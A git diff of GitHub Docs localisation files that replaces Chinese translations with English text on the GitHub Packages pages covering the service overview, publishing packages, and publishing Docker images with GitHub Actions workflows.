是一项软件包托管服务，允许您私下为指定的用户托管您的软件包{% ifversion ghae %}，或在内部为您的企业{% else %}或公开{% endif %}托管，以及在您的项目中使用软件包作为依赖项。' +title: Introduction to GitHub Packages +intro: '{% data variables.product.prodname_registry %} is a software package hosting service that allows you to host your software packages privately {% ifversion ghae %} for specified users or internally for your enterprise{% else %}or publicly{% endif %} and use packages as dependencies in your projects.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/about-github-package-registry @@ -15,121 +15,119 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: 简介 +shortTitle: Introduction --- {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -## 关于 {% data variables.product.prodname_registry %} +## About {% data variables.product.prodname_registry %} -{% data variables.product.prodname_registry %} 是一种包托管服务，与 {% data variables.product.prodname_dotcom %} 完全集成。 {% data variables.product.prodname_registry %} 将您的源代码和软件包组合在一起，以提供集成的权限管理{% ifversion not ghae %}和计费{% endif %}，使您能够在 {% data variables.product.product_name %} 上专注于软件开发。 +{% data variables.product.prodname_registry %} is a platform for hosting and managing packages, including containers and other dependencies. {% data variables.product.prodname_registry %} combines your source code and packages in one place to provide integrated permissions management{% ifversion not ghae %} and billing{% endif %}, so you can centralize your software development on {% data variables.product.product_name %}. -您可以将 {% data variables.product.prodname_registry %} 与 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API、{% data variables.product.prodname_actions %} 以及 web 挂钩集成在一起，以创建端到端的 DevOps 工作流程，其中包括您的代码、CI 和部署解决方案。 +You can integrate {% data variables.product.prodname_registry %} with {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs, {% data variables.product.prodname_actions %}, and webhooks to create an end-to-end DevOps workflow that includes your code, CI, and deployment solutions. -{% data variables.product.prodname_registry %} 为常用的包管理器提供不同的包注册表，例如 npm、RubyGems、Apache Maven、Gradle、Docker 和 Nuget。 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %} 的 {% data variables.product.prodname_container_registry %} 针对容器进行了优化，支持 Docker 和 OCI 映像。{% endif %} 有关 {% data variables.product.prodname_registry %} 支持的不同包注册表的更多信息，请参阅“[使用 {% data variables.product.prodname_registry %} 注册表](/packages/working-with-a-github-packages-registry)”。 +{% data variables.product.prodname_registry %} offers different package registries for commonly used package managers, such as npm, RubyGems, Apache Maven, Gradle, Docker, and NuGet. {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}'s {% data variables.product.prodname_container_registry %} is optimized for containers and supports Docker and OCI images.{% endif %} For more information on the different package registries that {% data variables.product.prodname_registry %} supports, see "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)." {% ifversion fpt or ghec %} -![显示支持容器注册表、RubyGems、npm、Apache Maven、NuGet 和 Gradle 的软件包的示意图](/assets/images/help/package-registry/packages-diagram-with-container-registry.png) +![Diagram showing packages support for the Container registry, RubyGems, npm, Apache Maven, NuGet, and Gradle](/assets/images/help/package-registry/packages-diagram-with-container-registry.png) {% else %} -![显示支持 Docker 注册表、RubyGems、npm、Apache Maven、Gradle、Nuget 和 Docker 的软件包的示意图](/assets/images/help/package-registry/packages-diagram-without-container-registry.png) +![Diagram showing packages support for the Docker registry, RubyGems, npm, Apache Maven, Gradle, NuGet, and Docker](/assets/images/help/package-registry/packages-diagram-without-container-registry.png) {% endif %} -您可以在 {% data variables.product.product_name %} 上查看包的自述文件、元数据（如许可）、下载统计、版本历史记录等。 更多信息请参阅“[查看包](/packages/manage-packages/viewing-packages)”。 +You can view a package's README, as well as metadata such as licensing, download statistics, version history, and more on {% data variables.product.product_name %}. For more information, see "[Viewing packages](/packages/manage-packages/viewing-packages)." -### 包的权限和可见性概述 +### Overview of package permissions and visibility -| | | -| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | -| 权限 | | -| {% ifversion fpt or ghec %}包的权限继承自托管该包的仓库或 {% data variables.product.prodname_container_registry %} 中的包，可以为特定的用户或组织帐户定义它们。 更多信息请参阅“[配置包的访问控制和可见性](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)”。 {% else %}每个包都继承托管包的仓库的权限。

                    例如，对仓库有读取权限的任何人都可以将包安装为项目中的依赖项，有写入权限的任何人都可以发布新的包版本。{% endif %} | | -| | | -| 可见性 | {% data reusables.package_registry.public-or-private-packages %} +| | | +|--------------------|--------------------| +| Permissions | {% ifversion fpt or ghec %}The permissions for a package are either inherited from the repository where the package is hosted or, for packages in the {% data variables.product.prodname_container_registry %}, they can be defined for specific user or organization accounts. For more information, see "[Configuring a package’s access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)." {% else %}Each package inherits the permissions of the repository where the package is hosted.

                    For example, anyone with read permissions for a repository can install a package as a dependency in a project, and anyone with write permissions can publish a new package version.{% endif %} | +| Visibility | {% data reusables.package_registry.public-or-private-packages %} | -更多信息请参阅“[关于 {% data variables.product.prodname_registry %} 的权限](/packages/learn-github-packages/about-permissions-for-github-packages)”。 +For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages)." {% ifversion fpt or ghec %} -## 关于 {% data variables.product.prodname_registry %} 的计费 +## About billing for {% data variables.product.prodname_registry %} -{% data reusables.package_registry.packages-billing %} {% data reusables.package_registry.packages-spending-limit-brief %} 更多信息请参阅“[关于 {% data variables.product.prodname_registry %} 的计费](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)”。 +{% data reusables.package_registry.packages-billing %} {% data reusables.package_registry.packages-spending-limit-brief %} For more information, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)." {% endif %} -## 支持的客户端和格式 +## Supported clients and formats -{% data variables.product.prodname_registry %} 使用您已经熟悉的原生包工具命令来发布和安装包版本。 -### 对包注册表的支持 +{% data variables.product.prodname_registry %} uses the native package tooling commands you're already familiar with to publish and install package versions. +### Support for package registries -| 语言 | 描述 | 包格式 | 包客户端 | -| ---------- | ---------------------- | ----------------------------------- | ------------ | -| JavaScript | 节点包管理器 | `package.json` | `npm` | -| Ruby | RubyGems 包管理器 | `Gemfile` | `gem` | -| Java | Apache Maven 项目管理和理解工具 | `pom.xml` | `mvn` | -| Java | Java 的 Gradle 构建自动化工具 | `build.gradle` 或 `build.gradle.kts` | `gradle` | -| .NET | .NET 的 NuGet 包管理 | `nupkg` | `dotnet` CLI | -| 不适用 | Docker 容器管理平台 | `Dockerfile` | `Docker` | +| Language | Description | Package format | Package client | +| --- | --- | --- | --- | +| JavaScript | Node package manager | `package.json` | `npm` | +| Ruby | RubyGems package manager | `Gemfile` | `gem` | +| Java | Apache Maven project management and comprehension tool | `pom.xml` | `mvn` | +| Java | Gradle build automation tool for Java | `build.gradle` or `build.gradle.kts` | `gradle` | +| .NET | NuGet package management for .NET | `nupkg` | `dotnet` CLI | +| N/A | Docker container management | `Dockerfile` | `Docker` | {% ifversion ghes %} {% note %} -**注：**禁用子域隔离时，不支持 Docker。 +**Note:** Docker is not supported when subdomain isolation is disabled. {% endnote %} -有关子域隔离的更多信息，请参阅“[启用子域隔离](/enterprise/admin/configuration/enabling-subdomain-isolation)”。 +For more information about subdomain isolation, see "[Enabling subdomain isolation](/enterprise/admin/configuration/enabling-subdomain-isolation)." {% endif %} -有关配置包客户端以用于 {% data variables.product.prodname_registry %} 的更多信息，请参阅“[使用 {% data variables.product.prodname_registry %} 注册表](/packages/working-with-a-github-packages-registry)“。 +For more information about configuring your package client for use with {% data variables.product.prodname_registry %}, see "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)." {% ifversion fpt or ghec %} -有关 Docker 和 {% data variables.product.prodname_container_registry %} 的更多信息，请参阅“[使用容器注册表](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)”。 +For more information about Docker and the {% data variables.product.prodname_container_registry %}, see "[Working with the Container registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)." {% endif %} -## 向 {% data variables.product.prodname_registry %} 验证 +## Authenticating to {% data variables.product.prodname_registry %} {% data reusables.package_registry.authenticate-packages %} {% data reusables.package_registry.authenticate-packages-github-token %} -## 管理包 +## Managing packages {% ifversion fpt or ghec %} -您可以在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 用户界面或使用 REST API 删除包。 更多信息请参阅“[{% data variables.product.prodname_registry %} API](/rest/reference/packages)”。 +You can delete a package in the {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} user interface or using the REST API. For more information, see the "[{% data variables.product.prodname_registry %} API](/rest/reference/packages)." {% endif %} {% ifversion ghes > 3.0 %} -您可以在 {% data variables.product.product_name %} 用户界面中删除私有或公共包。 或者对 repo-scoped 包，您可以使用 GraphQL 删除私有包的版本。 +You can delete a private or public package in the {% data variables.product.product_name %} user interface. Or for repo-scoped packages, you can delete a version of a private package using GraphQL. {% endif %} {% ifversion ghes < 3.1 %} -您可以在 {% data variables.product.product_name %} 用户界面中或使用 GraphQL API 删除私有包的版本。 +You can delete a version of a private package in the {% data variables.product.product_name %} user interface or using the GraphQL API. {% endif %} {% ifversion ghae %} -您可以在 {% data variables.product.product_name %} 用户界面中或使用 GraphQL API 删除包的版本。 +You can delete a version of a package in the {% data variables.product.product_name %} user interface or using the GraphQL API. {% endif %} -使用 GraphQL API 查询和删除私有包时，必须使用与向 {% data variables.product.prodname_registry %} 验证时相同的令牌。 更多信息请参阅“{% ifversion fpt or ghes > 3.0 or ghec %}[删除和恢复包](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[删除包](/packages/learn-github-packages/deleting-a-package){% endif %}”和“[使用 GraphQL 建立呼叫]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql)”。 +When you use the GraphQL API to query and delete private packages, you must use the same token you use to authenticate to {% data variables.product.prodname_registry %}. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" and "[Forming calls with GraphQL]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql)." -您可以配置 web 挂钩来订阅与包相关的事件，例如包的发布或更新等事件。 更多信息请参阅“[`package` web 挂钩事件](/webhooks/event-payloads/#package)”。 +You can configure webhooks to subscribe to package-related events, such as when a package is published or updated. For more information, see the "[`package` webhook event](/webhooks/event-payloads/#package)." -## 联系支持 +## Contacting support {% ifversion fpt or ghec %} -如果您对 {% data variables.product.prodname_registry %} 有反馈或功能请求，请使用 [{% data variables.product.prodname_registry %} 反馈表](https://support.github.com/contact/feedback?contact%5Bcategory%5D=github-packages)。 +If you have feedback or feature requests for {% data variables.product.prodname_registry %}, use the [feedback form for {% data variables.product.prodname_registry %}](https://support.github.com/contact/feedback?contact%5Bcategory%5D=github-packages). -如果在 {% data variables.product.prodname_registry %} 方面遇到以下问题，请使用[我们的联系表](https://support.github.com/contact?form%5Bsubject%5D=Re:%20GitHub%20Packages)联系 {% data variables.contact.github_support %}： +Contact {% data variables.contact.github_support %} about {% data variables.product.prodname_registry %} using [our contact form](https://support.github.com/contact?form%5Bsubject%5D=Re:%20GitHub%20Packages) if: -* 遇到任何与文档相矛盾的事情 -* 遇到模糊或不清楚的错误 -* 发布的包中含有敏感数据，例如违反 GDPR、API 密钥或个人身份信息 +* You experience anything that contradicts the documentation +* You encounter vague or unclear errors +* Your published package contains sensitive data, such as GDPR violations, API Keys, or personally identifying information {% else %} -如果您需要对 {% data variables.product.prodname_registry %} 的支持，请联系网站管理员。 +If you need support for {% data variables.product.prodname_registry %}, please contact your site administrators. {% endif %} diff --git a/translations/zh-CN/content/packages/learn-github-packages/publishing-a-package.md b/translations/zh-CN/content/packages/learn-github-packages/publishing-a-package.md index b551da8b01..d0f92d9ccb 100644 --- a/translations/zh-CN/content/packages/learn-github-packages/publishing-a-package.md +++ b/translations/zh-CN/content/packages/learn-github-packages/publishing-a-package.md @@ -1,6 +1,6 @@ --- -title: 发布包 -intro: '您可以将包发布到 {% data variables.product.prodname_registry %} 以供他人下载和再用。' +title: Publishing a package +intro: 'You can publish a package to {% data variables.product.prodname_registry %} to make the package available for others to download and re-use.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /github/managing-packages-with-github-packages/publishing-a-package @@ -16,25 +16,24 @@ versions: {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -## 关于发布的包 +## About published packages -您可以在包页面上提供说明和其他详细信息，例如安装和使用说明，以帮助他人了解和使用您的包。 {% data variables.product.product_name %} 提供每个版本的元数据，例如发布日期、下载活动和最新版本。 要查看示例包页面，请参阅 [@Codertocat/hello-world-npm](https://github.com/Codertocat/hello-world-npm/packages/10696?version=1.0.1)。 +You can help people understand and use your package by providing a description and other details like installation and usage instructions on the package page. {% data variables.product.product_name %} provides metadata for each version, such as the publication date, download activity, and recent versions. For an example package page, see [@Codertocat/hello-world-npm](https://github.com/Codertocat/hello-world-npm/packages/10696?version=1.0.1). -{% data reusables.package_registry.public-or-private-packages %} 一个仓库可连接到多个包。 为避免混淆，请确保使用自述文件和说明清楚地阐明每个包的相关信息。 +{% data reusables.package_registry.public-or-private-packages %} A repository can be connected to more than one package. To prevent confusion, make sure the README and description clearly provide information about each package. {% ifversion fpt or ghec %} -如果软件包的新版本修复了安全漏洞，您应该在仓库中发布安全通告。 -{% data variables.product.prodname_dotcom %} 审查每个发布的安全通告，并且可能使用它向受影响的仓库发送 {% data variables.product.prodname_dependabot_alerts %}。 更多信息请参阅“[关于 GitHub 安全通告](/github/managing-security-vulnerabilities/about-github-security-advisories)”。 +If a new version of a package fixes a security vulnerability, you should publish a security advisory in your repository. {% data variables.product.prodname_dotcom %} reviews each published security advisory and may use it to send {% data variables.product.prodname_dependabot_alerts %} to affected repositories. For more information, see "[About GitHub Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)." {% endif %} -## 发布包 +## Publishing a package -您可以按照一般准则，使用任何{% ifversion fpt or ghae or ghec %}支持的包客户端{% else %}为您的实例启用的包类型{% endif %}将包发布到 {% data variables.product.prodname_registry %}。 +You can publish a package to {% data variables.product.prodname_registry %} using any {% ifversion fpt or ghae or ghec %}supported package client{% else %}package type enabled for your instance{% endif %} by following the same general guidelines. -1. 针对要完成的任务，创建具有适当作用域的访问令牌或使用现有的此类令牌。 更多信息请参阅“[关于 {% data variables.product.prodname_registry %} 的权限](/packages/learn-github-packages/about-permissions-for-github-packages)”。 -2. 按照包客户端的说明，使用访问令牌向 {% data variables.product.prodname_registry %} 验证。 -3. 按照包客户端的说明发布包。 +1. Create or use an existing access token with the appropriate scopes for the task you want to accomplish. For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages)." +2. Authenticate to {% data variables.product.prodname_registry %} using your access token and the instructions for your package client. +3. Publish the package using the instructions for your package client. -有关包客户端特定的说明，请参阅“[使用 GitHub Packages 注册表](/packages/working-with-a-github-packages-registry)”。 +For instructions specific to your package client, see "[Working with a GitHub Packages registry](/packages/working-with-a-github-packages-registry)." -在发布包后，您可以在 {% data variables.product.prodname_dotcom %} 上查看该包。 更多信息请参阅“[查看包](/packages/learn-github-packages/viewing-packages)”。 +After you publish a package, you can view the package on {% data variables.product.prodname_dotcom %}. For more information, see "[Viewing packages](/packages/learn-github-packages/viewing-packages)." diff --git a/translations/zh-CN/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md b/translations/zh-CN/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md index 2e5c3fc4f5..aded45e897 100644 --- a/translations/zh-CN/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md +++ b/translations/zh-CN/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md @@ -1,6 +1,6 @@ --- -title: 使用 GitHub Actions 发布和安装包 -intro: '您可以配置 {% data variables.product.prodname_actions %} 中的工作流程以自动发布或安装 {% data variables.product.prodname_registry %} 的包。' +title: Publishing and installing a package with GitHub Actions +intro: 'You can configure a workflow in {% data variables.product.prodname_actions %} to automatically publish or install a package from {% data variables.product.prodname_registry %}.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /github/managing-packages-with-github-packages/using-github-packages-with-github-actions @@ -11,80 +11,80 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: 使用 Actions 发布和安装 +shortTitle: Publish & install with Actions --- {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} {% data reusables.actions.ae-beta %} -## 关于 {% data variables.product.prodname_registry %} 与 {% data variables.product.prodname_actions %} +## About {% data variables.product.prodname_registry %} with {% data variables.product.prodname_actions %} -{% data reusables.repositories.about-github-actions %} {% data reusables.repositories.actions-ci-cd %} 更多信息请参阅“[关于 {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/about-github-actions)”。 +{% data reusables.repositories.about-github-actions %} {% data reusables.repositories.actions-ci-cd %} For more information, see "[About {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/about-github-actions)." -您可以通过在工作流程中发布或安装包来扩展仓库的 CI 和 CD 功能。 +You can extend the CI and CD capabilities of your repository by publishing or installing packages as part of your workflow. {% ifversion fpt or ghec %} -### 向 {% data variables.product.prodname_container_registry %} 验证 +### Authenticating to the {% data variables.product.prodname_container_registry %} {% data reusables.package_registry.authenticate_with_pat_for_container_registry %} {% endif %} -### 向 {% data variables.product.prodname_dotcom %} 上的软件包注册表验证 +### Authenticating to package registries on {% data variables.product.prodname_dotcom %} -{% ifversion fpt or ghec %}如果您希望工作流程向 {% data variables.product.prodname_registry %} 验证以访问 {% data variables.product.product_location %} 上 {% data variables.product.prodname_container_registry %} 以外的软件包注册表，则{% else %}要向 {% data variables.product.product_name %} 上的软件包注册表验证，{% endif %}我们建议使用 {% data variables.product.product_name %} 在您启用 {% data variables.product.prodname_actions %} 时自动为您的仓库创建的 `GITHUB_TOKEN` 来验证，而不是使用个人访问令牌来验证。 {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}您应该在工作流程文件中设置此访问令牌的权限，以授予 `contents` 范围的读取访问权限，并授予 `packages` 范围的写入访问权限。 {% else %}它对工作流程运行的仓库中的包具有读取和写入权限。 {% endif %}对于复刻，`GITHUB_TOKEN` 被授予对父仓库的读取访问权限。 更多信息请参阅“[使用 GITHUB_TOKEN 验证身份](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)”。 +{% ifversion fpt or ghec %}If you want your workflow to authenticate to {% data variables.product.prodname_registry %} to access a package registry other than the {% data variables.product.prodname_container_registry %} on {% data variables.product.product_location %}, then{% else %}To authenticate to package registries on {% data variables.product.product_name %},{% endif %} we recommend using the `GITHUB_TOKEN` that {% data variables.product.product_name %} automatically creates for your repository when you enable {% data variables.product.prodname_actions %} instead of a personal access token for authentication. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}You should set the permissions for this access token in the workflow file to grant read access for the `contents` scope and write access for the `packages` scope. {% else %}It has read and write permissions for packages in the repository where the workflow runs. {% endif %}For forks, the `GITHUB_TOKEN` is granted read access for the parent repository. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)." -您还可以使用 {% raw %}`{{secrets.GITHUB_TOKEN}}`{% endraw %} 上下文在工作流程文件中引用 `GITHUB_TOKEN`。 更多信息请参阅“[使用 GITHUB_TOKEN 验证身份](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)”。 +You can reference the `GITHUB_TOKEN` in your workflow file using the {% raw %}`{{secrets.GITHUB_TOKEN}}`{% endraw %} context. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)." -## 关于仓库拥有的包的权限和包访问权限 +## About permissions and package access for repository-owned packages {% note %} -**注意：**仓库拥有的软件包包括 RubyGems、npm、Apache Maven、Nuget、{% ifversion fpt or ghec %} 和 Gradle。 {% else %}使用软件包命名空间 `docker.pkg.github.com` 的 Gradle 和 Docker 软件包。{% endif %} +**Note:** Repository-owned packages include RubyGems, npm, Apache Maven, NuGet, {% ifversion fpt or ghec %}and Gradle. {% else %}Gradle, and Docker packages that use the package namespace `docker.pkg.github.com`.{% endif %} {% endnote %} -启用 GitHub 操作后，GitHub 会在您的仓库中安装 GitHub 应用程序。 `GITHUB_TOKEN` 密码是一种 GitHub 应用程序安装访问令牌。 您可以使用安装访问令牌代表仓库中安装的 GitHub 应用程序进行身份验证。 令牌的权限仅限于包含您的工作流程的仓库。 更多信息请参阅“[GITHUB_TOKEN 的权限](/actions/reference/authentication-in-a-workflow#about-the-github_token-secret)”。 +When you enable GitHub Actions, GitHub installs a GitHub App on your repository. The `GITHUB_TOKEN` secret is a GitHub App installation access token. You can use the installation access token to authenticate on behalf of the GitHub App installed on your repository. The token's permissions are limited to the repository that contains your workflow. For more information, see "[Permissions for the GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#about-the-github_token-secret)." -{% data variables.product.prodname_registry %} 允许您通过可用于 {% data variables.product.prodname_actions %} 工作流程的 `GITHUB_TOKEN` 推送和拉取包。 +{% data variables.product.prodname_registry %} allows you to push and pull packages through the `GITHUB_TOKEN` available to a {% data variables.product.prodname_actions %} workflow. {% ifversion fpt or ghec %} -## 关于 {% data variables.product.prodname_container_registry %} 的权限和包访问权限 +## About permissions and package access for {% data variables.product.prodname_container_registry %} -{% data variables.product.prodname_container_registry %} (`ghcr.io`) 允许用户创建和管理容器，作为组织一级的独立资源。 容器可以归组织或个人用户帐户所有，您可以自定义与存储库权限分开的每个容器访问权限。 +The {% data variables.product.prodname_container_registry %} (`ghcr.io`) allows users to create and administer containers as free-standing resources at the organization level. Containers can be owned by an organization or personal user account and you can customize access to each of your containers separately from repository permissions. -所有访问 {% data variables.product.prodname_container_registry %} 的工作流程都应该使用 `GITHUB_TOKEN` 而不是个人访问令牌。 有关安全最佳实践的更多信息，请参阅“[GitHub Actions 的安全强化](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)”。 +All workflows accessing the {% data variables.product.prodname_container_registry %} should use the `GITHUB_TOKEN` instead of a personal access token. For more information about security best practices, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)." -## 通过工作流程修改的容器的默认权限和访问设置 +## Default permissions and access settings for containers modified through workflows -当您通过工作流程创建、安装、修改或删除容器时，有一些默认权限和访问设置用于确保管理员能够访问工作流程。 您也可以调整这些访问设置。 +When you create, install, modify, or delete a container through a workflow, there are some default permission and access settings used to ensure admins have access to the workflow. You can adjust these access settings as well. -例如，默认情况下，如果工作流程使用 `GITHUB_TOKEN` 创建容器，则： -- 容器继承运行工作流程的仓库的可见性和权限模型。 -- 在创建容器后，工作流程运行的仓库管理员将成为容器的管理员。 +For example, by default if a workflow creates a container using the `GITHUB_TOKEN`, then: +- The container inherits the visibility and permissions model of the repository where the workflow is run. +- Repository admins where the workflow is run become the admins of the container once the container is created. -以下是管理包的工作流程的默认权限如何运作的更多示例。 +These are more examples of how default permissions work for workflows that manage packages. -| {% data variables.product.prodname_actions %} 工作流程任务 | 默认权限和访问 | -| ---------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 下载现有容器 | - 如果容器是公开的，则任何仓库中运行的任何工作流程都可以下载容器。
                    - 如果容器是内部容器，则在企业帐户拥有的任何仓库中运行的所有工作流程都可以下载容器。 对于企业拥有的组织，您可以阅读企业中的任何仓库
                    - 如果容器是私有的，则只有在仓库中运行但在容器上获得读取权限的工作流程才可下载容器。
                    | -| 上传新版本到现有容器 | - 如果容器是私有、内部或公共的，则只有在该容器上获得写入权限的仓库中运行的工作流程才可将新版本上传到容器中。 | -| 删除容器或容器版本 | - 如果容器是私有、内部或公共的，则只有在该容器上获得删除权限的仓库中运行的工作流程才可删除容器的现有版本。 | +| {% data variables.product.prodname_actions %} workflow task | Default permissions and access | +|----|----| +| Download an existing container | - If the container is public, any workflow running in any repository can download the container.
                    - If the container is internal, then all workflows running in any repository owned by the Enterprise account can download the container. For enterprise-owned organizations, you can read any repository in the enterprise
                    - If the container is private, only workflows running in repositories that are given read permission on that container can download the container.
                    +| Upload a new version to an existing container | - If the container is private, internal, or public, only workflows running in repositories that are given write permission on that container can upload new versions to the container. +| Delete a container or versions of a container | - If the container is private, internal, or public, only workflows running in repositories that are given delete permission can delete existing versions of the container. -您还可以使用更精细的方式调整对容器的访问，或调整一些默认权限行为。 更多信息请参阅“[配置包的访问控制和可见性](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)”。 +You can also adjust access to containers in a more granular way or adjust some of the default permissions behavior. For more information, see "[Configuring a package’s access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)." {% endif %} -## 使用操作发布包 +## Publishing a package using an action -您可以使用 {% data variables.product.prodname_actions %} 在持续集成 (CI) 流程中自动发布包。 如果代码符合您的质量标准，可使用这种持续部署 (CD) 方法自动创建新的包版本。 例如，您可以创建一个每当开发者向特定分支推送代码时运行 CI 测试的工作流程。 如果测试通过，则工作流程可以将新的包版本发布到 {% data variables.product.prodname_registry %}。 +You can use {% data variables.product.prodname_actions %} to automatically publish packages as part of your continuous integration (CI) flow. This approach to continuous deployment (CD) allows you to automate the creation of new package versions, if the code meets your quality standards. For example, you could create a workflow that runs CI tests every time a developer pushes code to a particular branch. If the tests pass, the workflow can publish a new package version to {% data variables.product.prodname_registry %}. {% data reusables.package_registry.actions-configuration %} -下面的示例演示如何使用 {% data variables.product.prodname_actions %} 构建{% ifversion not fpt or ghec %}和测试{% endif %}应用程序，然后自动创建 Docker 映像并将其发布到 {% data variables.product.prodname_registry %}： +The following example demonstrates how you can use {% data variables.product.prodname_actions %} to build {% ifversion not fpt or ghec %}and test{% endif %} your app, and then automatically create a Docker image and publish it to {% data variables.product.prodname_registry %}. -在仓库中创建新的工作流程文件（例如 `.github/workflows/deploy-image.yml`），并添加以下 YAML： +Create a new workflow file in your repository (such as `.github/workflows/deploy-image.yml`), and add the following YAML: {% ifversion fpt or ghec %} {% data reusables.package_registry.publish-docker-image %} @@ -161,7 +161,7 @@ jobs: ``` {% endif %} -下表介绍了相关设置： 有关工作流程中每个元素的完整详细信息，请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions)”。 +The relevant settings are explained in the following table. For full details about each element in a workflow, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)." @@ -175,7 +175,7 @@ on: {% endraw %} @@ -192,7 +192,7 @@ env: {% endraw %} @@ -207,7 +207,7 @@ jobs: {% endraw %} @@ -233,7 +233,7 @@ run-npm-build: {% endraw %} @@ -268,7 +268,7 @@ run-npm-test: {% endraw %} @@ -283,7 +283,7 @@ build-and-push-image: {% endraw %} @@ -301,7 +301,7 @@ permissions: {% endraw %} {% endif %} @@ -321,7 +321,7 @@ permissions: {% endraw %} @@ -338,7 +338,7 @@ permissions: {% endraw %} @@ -357,7 +357,7 @@ permissions: {% endraw %} {% endif %} @@ -371,7 +371,7 @@ permissions: {% endraw %} @@ -384,7 +384,7 @@ uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc {% endraw %} @@ -397,7 +397,7 @@ with: {% endraw %} @@ -411,7 +411,7 @@ context: . {% endraw %} {% endif %} @@ -425,7 +425,7 @@ push: true {% endraw %} @@ -440,7 +440,7 @@ labels: ${{ steps.meta.outputs.labels }} {% endraw %} @@ -464,47 +464,50 @@ docker.pkg.github.com/${{ github.repository }}/octo-image:${{ github.sha }} {% endif %} {% endif %}
                    - 配置创建并发布包 Docker 映像工作流程，以在每次向名为 release 的分支推送更改时运行。 + Configures the Create and publish a Docker image workflow to run every time a change is pushed to the branch called release.
                    - 为工作流程定义两个自定义环境变量。 这些是用于 {% data variables.product.prodname_container_registry %} 域以及此工作流程生成的 Docker 映像的名称。 + Defines two custom environment variables for the workflow. These are used for the {% data variables.product.prodname_container_registry %} domain, and a name for the Docker image that this workflow builds.
                    - 此工作流程中有单个作业。 它已配置为运行最新版本的 Ubuntu。 + There is a single job in this workflow. It's configured to run on the latest available version of Ubuntu.
                    - 此作业会安装 NPM 并使用它来构建应用程序。 + This job installs NPM and uses it to build the app.
                    - 此作业使用 npm test 测试代码。 needs: run-npm-build 命令使此作业依赖于 run-npm-build 作业。 + This job uses npm test to test the code. The needs: run-npm-build command makes this job dependent on the run-npm-build job.
                    - 此作业将发布包。 needs: run-npm-test 命令使此作业依赖于 run-npm-test 作业。 + This job publishes the package. The needs: run-npm-test command makes this job dependent on the run-npm-test job.
                    - 为此作业中的操作设置授予 GITHUB_TOKEN 的权限。 + Sets the permissions granted to the GITHUB_TOKEN for the actions in this job.
                    - 创建一个名为登录到 {% data variables.product.prodname_container_registry %} 的新步骤，以使用将发布包的帐户和密码登录到注册表。 发布后，包归此处定义的帐户所有。 + Creates a step called Log in to the {% data variables.product.prodname_container_registry %}, which logs in to the registry using the account and password that will publish the packages. Once published, the packages are owned by the account defined here.
